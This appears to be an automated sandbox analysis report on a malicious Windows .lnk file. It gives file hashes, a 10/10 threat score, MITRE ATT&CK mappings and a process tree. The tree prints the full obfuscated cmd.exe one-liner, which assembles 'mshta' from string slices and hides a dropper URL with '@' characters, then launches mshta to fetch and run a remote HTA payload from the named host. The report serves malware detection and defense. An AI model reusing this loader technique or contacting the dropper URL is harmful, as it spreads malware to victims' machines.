8c45034013f3ea84b024b4676f0f761eb608c74e3b21ca6eb529b264a5e03eda

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 08:29

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General

Target
DOC-ZNUSHB.lnk
Size 2KB
Sample260804-kdw9bsbk21
SHA256 8c45034013f3ea84b024b4676f0f761eb608c74e3b21ca6eb529b264a5e03eda
MD5 f201b53022cf8cd89cdc2c2b4e534807
SHA1 56c31bbd148642887c35429b7162d8f8d56098f1
SHA512 6f67f57c6702546604e6123bde5e5d8207c55785438ec00605cfd9217e4012481fb8f4b7852c117c7265e5ed0119044713a4eac4828334fd1e267993d6c045de
TLSH
T1DE4133802AED9098F2BB8D36ECFE7711497BB9625D71C19D0D54C10D0822F05E933B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2636	cmd.exe
4108	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4108 wrote to memory of 2636	4108	cmd.exe	86
PID 2636 wrote to memory of 1616	2636	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZNUSHB.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4108
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set FdqeV=cfgxcxukecatthcfg&&set nU=rsl93&&set Rc=8tatse&&set Bl=lrt2m&&set udy=sysuqvjwuzmdherweirehtsys&&set keV=tmpobwqttettmp&&set RKaUD=cfgftyuuyddkoqscfg&&set ef=tmpvazqcmxpctmp&&set nt=infwguklwsczyhkqujwdeinf&&set xDFIg=8mmshjx&&set wEH=zta2ej&&set LUYu=datvculrjiqckknujdat&&set Zh=cachesqorvcache&&set IX=oldwlqgmfczpfsxvriold&&set tzWAr=dbgmobbgyhebehptecmdbg&&set NY=cfgsjyedcfg&&set qLUE=h@ttps://ma-pdf@fi@l@le@r@.@la@t/h@/@estag@[email protected]@hp@?r=391@4@6@9FB5D@8@2DB&&start /b !xDFIg:~2,3!!wEH:~1,2! !qLUE:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:1616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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